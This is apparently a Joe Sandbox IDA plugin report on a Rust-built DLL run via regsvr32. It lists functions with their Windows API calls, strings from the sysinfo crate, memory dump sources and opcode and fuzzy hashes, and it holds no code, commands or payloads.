Opcode ID: 0a68dd2e9f831320d73f1ffa4997c7c3273a9ec5a24f8e071783848aa26efe7f
Instruction ID: 8caf11dd877188ed00fb9f0defcbb66359eca6bd80857e60855a92d5c9248033
Opcode Fuzzy Hash: 0a68dd2e9f831320d73f1ffa4997c7c3273a9ec5a24f8e071783848aa26efe7f
Instruction Fuzzy Hash: B061B022F0F55742FB5476198530BBD56D1AF45BC4F088434CEAD8BBEEEE6DA8428380

Function 00007FFDFB2A8350 Relevance: 9.2, APIs: 6, Instructions: 180
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32 ref: 00007FFDFB2A857B
GetLastError.KERNEL32 ref: 00007FFDFB2A8597
CloseHandle.KERNEL32 ref: 00007FFDFB2A85AA

Memory Dump Source

Source File: 00000010.00000002.2336661010.00007FFDFB201000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFDFB200000, based on PE: true

Associated: 00000010.00000002.2336531618.00007FFDFB200000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337174074.00007FFDFB304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337229740.00007FFDFB305000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337559759.00007FFDFB3FB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337653182.00007FFDFB3FC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337740712.00007FFDFB3FE000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337834437.00007FFDFB401000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffdfb200000_regsvr32.jbxd

Similarity

API ID: ErrorLast$CloseHandle
String ID:
API String ID: 3463825546-0
Opcode ID: fa647eda8c91a7695ec1f37dd5fdc2b06cb930c9a972b8361209d69e79ea7fba
Instruction ID: 090836f11bc24bf1d03a9a24c9e58f21ed398a811d4375ea3eea86c2896cd951
Opcode Fuzzy Hash: fa647eda8c91a7695ec1f37dd5fdc2b06cb930c9a972b8361209d69e79ea7fba
Instruction Fuzzy Hash: FE61F691F0E65356FB2596219420BB92BE8AF05BD8F184131CEAD8F7EDDE3CD8468701

Function 00007FFDFB2AEC20 Relevance: 9.2, APIs: 6, Instructions: 162
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FFDFB2AEEC0: CreateEventW.KERNEL32 ref: 00007FFDFB2AEEE8

CloseHandle.KERNEL32 ref: 00007FFDFB2AEC5D
GetOverlappedResult.KERNEL32 ref: 00007FFDFB2AED2D

Memory Dump Source

Source File: 00000010.00000002.2336661010.00007FFDFB201000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFDFB200000, based on PE: true

Associated: 00000010.00000002.2336531618.00007FFDFB200000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337174074.00007FFDFB304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337229740.00007FFDFB305000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337559759.00007FFDFB3FB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337653182.00007FFDFB3FC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337740712.00007FFDFB3FE000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337834437.00007FFDFB401000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffdfb200000_regsvr32.jbxd

Similarity

API ID: CloseCreateEventHandleOverlappedResult
String ID:
API String ID: 3756958029-0
Opcode ID: 0ac5af106a73d8143591ed08cd212933c0e4614fbfce0bbc79ddda803c71490c
Instruction ID: a439e0cba35e8800e932d4cc44066a6c1c03e7cc9c2f88bfa7651e90afcd5631
Opcode Fuzzy Hash: 0ac5af106a73d8143591ed08cd212933c0e4614fbfce0bbc79ddda803c71490c
Instruction Fuzzy Hash: 4661AA22F09A4399FB10BA7585617FC1BA4AF147D8F240531DE1D9ABEDDF28D5878340

Function 00007FFDFB20C160 Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 211
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

@, xrefs: 00007FFDFB20C3A6
cannot access a Thread Local Storage value during or after destruction/rustc/f6e511eec7342f59a25f7c0534f1dbea00d01b14\library\std\src\thread\local.rs, xrefs: 00007FFDFB20C1F4, 00007FFDFB20C2B4

Memory Dump Source

Source File: 00000010.00000002.2336661010.00007FFDFB201000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFDFB200000, based on PE: true

Associated: 00000010.00000002.2336531618.00007FFDFB200000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337174074.00007FFDFB304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337229740.00007FFDFB305000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337559759.00007FFDFB3FB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337653182.00007FFDFB3FC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337740712.00007FFDFB3FE000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337834437.00007FFDFB401000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffdfb200000_regsvr32.jbxd

Similarity

API ID:
String ID: @$cannot access a Thread Local Storage value during or after destruction/rustc/f6e511eec7342f59a25f7c0534f1dbea00d01b14\library\std\src\thread\local.rs
API String ID: 0-1373735107
Opcode ID: c5f7fa2330461c43e2abd6da7f8019c563dceb6ff5d3f9ebfd521dec14973f29
Instruction ID: b38b58083ac2b4e6ef287b591938bd46394cadadaa9fc0b5bd9a13137cc2e882
Opcode Fuzzy Hash: c5f7fa2330461c43e2abd6da7f8019c563dceb6ff5d3f9ebfd521dec14973f29
Instruction Fuzzy Hash: 69B1C122A29BC282E7618B28E4517FBA360FBD5344F109325EBD942BD9DF7DD1858740

Function 00007FFDFB220280 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 401
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PdhCollectQueryData.PDH ref: 00007FFDFB2202BD

Strings

global_key_idle disappearedC:\Users\win10-x64\.cargo\registry\src\index.crates.io-6f17d22bba15001f\sysinfo-0.32.0\src\windows\system.rs, xrefs: 00007FFDFB220802
key_used disappeared, xrefs: 00007FFDFB2207EA
cannot access a Thread Local Storage value during or after destruction/rustc/f6e511eec7342f59a25f7c0534f1dbea00d01b14\library\std\src\thread\local.rs, xrefs: 00007FFDFB220826

Memory Dump Source

Source File: 00000010.00000002.2336661010.00007FFDFB201000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFDFB200000, based on PE: true

Associated: 00000010.00000002.2336531618.00007FFDFB200000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337174074.00007FFDFB304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337229740.00007FFDFB305000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337559759.00007FFDFB3FB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337653182.00007FFDFB3FC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337740712.00007FFDFB3FE000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337834437.00007FFDFB401000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffdfb200000_regsvr32.jbxd

Similarity

API ID: CollectDataQuery
String ID: cannot access a Thread Local Storage value during or after destruction/rustc/f6e511eec7342f59a25f7c0534f1dbea00d01b14\library\std\src\thread\local.rs$global_key_idle disappearedC:\Users\win10-x64\.cargo\registry\src\index.crates.io-6f17d22bba15001f\sysinfo-0.32.0\src\windows\system.rs$key_used disappeared
API String ID: 777096026-328276081
Opcode ID: 453ddf9edeeb583c801d8fc90883f689bf0d6e275f5c04062410226dc8c6ab7a
Instruction ID: 65039e16fe7a7d53095c8ed546cea610c314ae972144d34586f68420e2426eb5
Opcode Fuzzy Hash: 453ddf9edeeb583c801d8fc90883f689bf0d6e275f5c04062410226dc8c6ab7a
Instruction Fuzzy Hash: 7902B226B0AB8381F7509B21E4617AA77A0FB85B94F944135EEAD877E9DF7CE045C300

Function 00007FFDFB2AEEC0 Relevance: 6.1, APIs: 4, Instructions: 67
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateEventW.KERNEL32 ref: 00007FFDFB2AEEE8
GetLastError.KERNEL32 ref: 00007FFDFB2AEF47
CloseHandle.KERNEL32 ref: 00007FFDFB2AEF88
CloseHandle.KERNEL32 ref: 00007FFDFB2AEF90

Memory Dump Source

Source File: 00000010.00000002.2336661010.00007FFDFB201000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFDFB200000, based on PE: true

Associated: 00000010.00000002.2336531618.00007FFDFB200000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337174074.00007FFDFB304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337229740.00007FFDFB305000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337559759.00007FFDFB3FB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337653182.00007FFDFB3FC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337740712.00007FFDFB3FE000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337834437.00007FFDFB401000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffdfb200000_regsvr32.jbxd

Similarity

API ID: CloseHandle$CreateErrorEventLast
String ID:
API String ID: 3743700123-0
Opcode ID: 187fd84782cf0cb99c379f745ced377e887223e323960078e0587435b871c7fe
Instruction ID: a7a2083673178a59781de5daa898e1f9ac419b5f18b1ccb44281d3b9e17867de
Opcode Fuzzy Hash: 187fd84782cf0cb99c379f745ced377e887223e323960078e0587435b871c7fe
Instruction Fuzzy Hash: 8F11B722B4AB0356F7196B12A561B792690FF88794F184134EEAC47BD5EF3CA4E28300

Function 00007FFDFB20DDF0 Relevance: 4.7, APIs: 3, Instructions: 180
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memcpy.MSVCRT ref: 00007FFDFB20DE72
GetProcessTimes.KERNEL32 ref: 00007FFDFB20DF94
memcpy.MSVCRT ref: 00007FFDFB20E103

Memory Dump Source

Source File: 00000010.00000002.2336661010.00007FFDFB201000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFDFB200000, based on PE: true

Associated: 00000010.00000002.2336531618.00007FFDFB200000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337174074.00007FFDFB304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337229740.00007FFDFB305000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337559759.00007FFDFB3FB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337653182.00007FFDFB3FC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337740712.00007FFDFB3FE000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337834437.00007FFDFB401000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffdfb200000_regsvr32.jbxd

Similarity

API ID: memcpy$ProcessTimes
String ID:
API String ID: 3369102921-0
Opcode ID: debd1675c3c39d47079517bf0f8391c329cbe455144f0d50b94dce6023240213
Instruction ID: 50153035a9b8d38f3d92a04a5a631282d38c2e0cdba321963cb2ca90d661c109
Opcode Fuzzy Hash: debd1675c3c39d47079517bf0f8391c329cbe455144f0d50b94dce6023240213
Instruction Fuzzy Hash: 3F81C37270ABC691E7219B15E444BAAB764FB99BC4F444226EEDC53BA9DF3CC144C700

Function 00007FFDFB25BA70 Relevance: 3.8, APIs: 3, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,00007FFDFB25CF3B,?,?,?,?,?,?,00007FFDFB22777D), ref: 00007FFDFB25CBB9
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,00007FFDFB25CF3B,?,?,?,?,?,?,00007FFDFB22777D), ref: 00007FFDFB25CC20
TlsSetValue.KERNEL32(?,?,?,?,?,?,?,00007FFDFB25CF3B,?,?,?,?,?,?,00007FFDFB22777D), ref: 00007FFDFB25CC30
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,00007FFDFB25CF3B,?,?,?,?,?,?,00007FFDFB22777D), ref: 00007FFDFB25CC8C

Memory Dump Source

Source File: 00000010.00000002.2336661010.00007FFDFB201000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFDFB200000, based on PE: true

Associated: 00000010.00000002.2336531618.00007FFDFB200000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337174074.00007FFDFB304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337229740.00007FFDFB305000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337559759.00007FFDFB3FB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337653182.00007FFDFB3FC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337740712.00007FFDFB3FE000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337834437.00007FFDFB401000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffdfb200000_regsvr32.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: facdd1d30bccc6831c85d12e0ebd297498cc88624c2147c8a7189ade048d0423
Instruction ID: 210869a62de7bcf3dd5ffa3464d675dd295047a688337f6d0a782cc982acebdc
Opcode Fuzzy Hash: facdd1d30bccc6831c85d12e0ebd297498cc88624c2147c8a7189ade048d0423
Instruction Fuzzy Hash: A921B322B0A64741FF056A199534BB963D1AF45FC4F088135CD6C8B7EEDE6DA4428380

Function 00007FFDFB21F640 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 229
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadProcessMemory.KERNEL32 ref: 00007FFDFB21F6D3

Strings

ReadProcessMemory returned unexpected number of bytes readUnable to read process dataC:\Users\win10-x64\.cargo\registry\src\index.crates.io-6f17d22bba15001f\sysinfo-0.32.0\src\windows\process.rs, xrefs: 00007FFDFB21F735

Memory Dump Source

Source File: 00000010.00000002.2336661010.00007FFDFB201000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFDFB200000, based on PE: true

Associated: 00000010.00000002.2336531618.00007FFDFB200000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337174074.00007FFDFB304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337229740.00007FFDFB305000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337559759.00007FFDFB3FB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337653182.00007FFDFB3FC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337740712.00007FFDFB3FE000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337834437.00007FFDFB401000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffdfb200000_regsvr32.jbxd

Similarity

API ID: MemoryProcessRead
String ID: ReadProcessMemory returned unexpected number of bytes readUnable to read process dataC:\Users\win10-x64\.cargo\registry\src\index.crates.io-6f17d22bba15001f\sysinfo-0.32.0\src\windows\process.rs
API String ID: 1726664587-463925288
Opcode ID: 9e91fe6fbcf09cca1b6138462308769329588dadde7ab4543284a0c8432d20a4
Instruction ID: 8658a7cc62d35853634408dcade709a591ac53f75002efb5f28b85cb4a56d4bc
Opcode Fuzzy Hash: 9e91fe6fbcf09cca1b6138462308769329588dadde7ab4543284a0c8432d20a4
Instruction Fuzzy Hash: 9F81D622B0E69391E7219B119421BBA63A1BF457D0F449630EEBD877EDDF3DD6428700

Function 00007FFDFB220A20 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

K32GetPerformanceInfo.KERNEL32 ref: 00007FFDFB220AE5

Strings

@, xrefs: 00007FFDFB220A4A

Memory Dump Source

Source File: 00000010.00000002.2336661010.00007FFDFB201000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFDFB200000, based on PE: true

Associated: 00000010.00000002.2336531618.00007FFDFB200000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337174074.00007FFDFB304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337229740.00007FFDFB305000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337559759.00007FFDFB3FB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337653182.00007FFDFB3FC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337740712.00007FFDFB3FE000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337834437.00007FFDFB401000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffdfb200000_regsvr32.jbxd

Similarity

API ID: InfoPerformance
String ID: @
API String ID: 3070290716-2766056989
Opcode ID: f62ca9aa1ecd407958618594fd8f5d881816df793d774b0212e8ce3adadf7aaa
Instruction ID: cf5f8ed0d4802c1a68c6391d4c12ee7466bb4b99522bde3a1b0ae7f9444f5b97
Opcode Fuzzy Hash: f62ca9aa1ecd407958618594fd8f5d881816df793d774b0212e8ce3adadf7aaa
Instruction Fuzzy Hash: 26317221A18AC181F7724728A4067E6A3B4BFD5368F405320EFDC867A9EF3DD1C68B40

Function 00007FFDFB21D840 Relevance: 3.2, APIs: 2, Instructions: 187timeCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00007FFDFB20E0BD), ref: 00007FFDFB21D8D0
GetProcessTimes.KERNEL32 ref: 00007FFDFB21D95C

Memory Dump Source

Source File: 00000010.00000002.2336661010.00007FFDFB201000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFDFB200000, based on PE: true

Associated: 00000010.00000002.2336531618.00007FFDFB200000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337174074.00007FFDFB304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337229740.00007FFDFB305000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337559759.00007FFDFB3FB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337653182.00007FFDFB3FC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337740712.00007FFDFB3FE000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337834437.00007FFDFB401000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffdfb200000_regsvr32.jbxd

Similarity

API ID: Process$OpenTimes
String ID:
API String ID: 7699560-0
Opcode ID: b82240550894807557adba87751f104dd04fd2f0f4657b4aa3b1416aed29df14
Instruction ID: 67c7f57940c4f33f2702c449b933a9ffb42ea5e8e6e737045ce916c5c79f65ff
Opcode Fuzzy Hash: b82240550894807557adba87751f104dd04fd2f0f4657b4aa3b1416aed29df14
Instruction Fuzzy Hash: FF818822B19BC282E7549F25A4507AA73A0FB857D4F149235EFEE467E9DF7DE0848300

Function 00007FFDFB2B98D0 Relevance: 3.1, APIs: 2, Instructions: 81COMMON

Download Yara Rule

APIs

WaitOnAddress.API-MS-WIN-CORE-SYNCH-L1-2-0(?,?,?,00000000,00000000,?,?,00000000,?,00007FFDFB26469D), ref: 00007FFDFB2B994B
GetLastError.KERNEL32(?,?,?,00000000,00000000,?,?,00000000,?,00007FFDFB26469D), ref: 00007FFDFB2B9955

Memory Dump Source

Source File: 00000010.00000002.2336661010.00007FFDFB201000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFDFB200000, based on PE: true

Associated: 00000010.00000002.2336531618.00007FFDFB200000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337174074.00007FFDFB304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337229740.00007FFDFB305000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337559759.00007FFDFB3FB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337653182.00007FFDFB3FC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337740712.00007FFDFB3FE000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337834437.00007FFDFB401000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffdfb200000_regsvr32.jbxd

Similarity

API ID: AddressErrorLastWait
String ID:
API String ID: 1574541344-0
Opcode ID: be802b39141b6e89c3fe4a15301ed45f445826f3c101ad4fe0dc9e06537fb618
Instruction ID: 049284c6aa9b5c1b2d949aa119ba650cf77239ef0c486fd3e6cde043594010c4
Opcode Fuzzy Hash: be802b39141b6e89c3fe4a15301ed45f445826f3c101ad4fe0dc9e06537fb618
Instruction Fuzzy Hash: 0A21B432B1A5138AFB658A65D821DBD2761AB41798F14C035DE6E9B6E8CF3C9442CB40

Function 00007FFDFB20ED90 Relevance: 3.1, APIs: 2, Instructions: 70COMMON

Download Yara Rule

APIs

PdhRemoveCounter.PDH ref: 00007FFDFB20EDD6
PdhCloseQuery.PDH ref: 00007FFDFB20EE65

Memory Dump Source

Source File: 00000010.00000002.2336661010.00007FFDFB201000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFDFB200000, based on PE: true

Associated: 00000010.00000002.2336531618.00007FFDFB200000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337174074.00007FFDFB304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337229740.00007FFDFB305000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337559759.00007FFDFB3FB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337653182.00007FFDFB3FC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337740712.00007FFDFB3FE000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337834437.00007FFDFB401000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffdfb200000_regsvr32.jbxd

Similarity

API ID: CloseCounterQueryRemove
String ID:
API String ID: 2370987109-0
Opcode ID: 3f194e0851a387f7221e734b812e9f26989468eb3d51d0d61b18c8102ab6eb93
Instruction ID: 9840c052b17f8ea1f0aaa08a3dd8e1c10837ae03ad29f116b3bd4ac4a81b2e17
Opcode Fuzzy Hash: 3f194e0851a387f7221e734b812e9f26989468eb3d51d0d61b18c8102ab6eb93
Instruction Fuzzy Hash: 1B21CB22F1AA4745EB50BE2594257796290DF90BE4F1C4331EABEC27E9EF28D4828300

Function 00007FFDFB263C70 Relevance: 2.7, APIs: 2, Instructions: 151COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FFDFB263E64
memcpy.MSVCRT ref: 00007FFDFB263ECA

Memory Dump Source

Source File: 00000010.00000002.2336661010.00007FFDFB201000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFDFB200000, based on PE: true

Associated: 00000010.00000002.2336531618.00007FFDFB200000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337174074.00007FFDFB304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337229740.00007FFDFB305000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337559759.00007FFDFB3FB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337653182.00007FFDFB3FC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337740712.00007FFDFB3FE000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337834437.00007FFDFB401000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffdfb200000_regsvr32.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: a80c4003dfca4faebbf20991140aa97795faae2c77e3fc64f026f07f84bba51e
Instruction ID: a22fcf385e61a0126a7534f13b02b130b02a59add13c2386d4ddd40a63f706c4
Opcode Fuzzy Hash: a80c4003dfca4faebbf20991140aa97795faae2c77e3fc64f026f07f84bba51e
Instruction Fuzzy Hash: 2A61D422B09BC285E7219B19A4507FA67A0FB597A4F149335EEFC467E9DF3CE0858700

Function 00007FFDFB20BC70 Relevance: 2.6, APIs: 2, Instructions: 75COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFDFB20DDF0: memcpy.MSVCRT ref: 00007FFDFB20DE72
Part of subcall function 00007FFDFB20DDF0: GetProcessTimes.KERNEL32 ref: 00007FFDFB20DF94

memcpy.MSVCRT ref: 00007FFDFB20BD00
memcpy.MSVCRT ref: 00007FFDFB20BD3C

Memory Dump Source

Source File: 00000010.00000002.2336661010.00007FFDFB201000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFDFB200000, based on PE: true

Associated: 00000010.00000002.2336531618.00007FFDFB200000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337174074.00007FFDFB304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337229740.00007FFDFB305000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337559759.00007FFDFB3FB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337653182.00007FFDFB3FC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337740712.00007FFDFB3FE000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337834437.00007FFDFB401000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffdfb200000_regsvr32.jbxd

Similarity

API ID: memcpy$ProcessTimes
String ID:
API String ID: 3369102921-0
Opcode ID: 499b30c56d909fa245b807015587a909bc6e568012296101aa17a009de191db5
Instruction ID: abd2a09eb8022c329507bfea5af67943f6725d988b688d261b846f5d3330abe7
Opcode Fuzzy Hash: 499b30c56d909fa245b807015587a909bc6e568012296101aa17a009de191db5
Instruction Fuzzy Hash: CE31C122B09A8582E7318B15B901AAEE370FBA8794F084121EFED137A5DF3CE1848740

Function 00007FFDFB262E00 Relevance: 2.6, APIs: 2, Instructions: 73COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FFDFB263E64
memcpy.MSVCRT ref: 00007FFDFB263ECA

Part of subcall function 00007FFDFB2DEAD0: memcpy.MSVCRT ref: 00007FFDFB2DEC3F

Memory Dump Source

Source File: 00000010.00000002.2336661010.00007FFDFB201000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFDFB200000, based on PE: true

Associated: 00000010.00000002.2336531618.00007FFDFB200000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337174074.00007FFDFB304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337229740.00007FFDFB305000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337559759.00007FFDFB3FB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337653182.00007FFDFB3FC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337740712.00007FFDFB3FE000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337834437.00007FFDFB401000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffdfb200000_regsvr32.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 5a6f68c738c57fa078303cac470eb9da5d5a764b24dd4cbd379faab9850ccb6b
Instruction ID: b2008e57699397be0ba29e84959469368dc0ea977d489200e17f2b8d5d8a42b1
Opcode Fuzzy Hash: 5a6f68c738c57fa078303cac470eb9da5d5a764b24dd4cbd379faab9850ccb6b
Instruction Fuzzy Hash: 8C319622E09AC685F720AB14E4513FAA7A0FB98394F449335DAEC427DADF3CE1958740

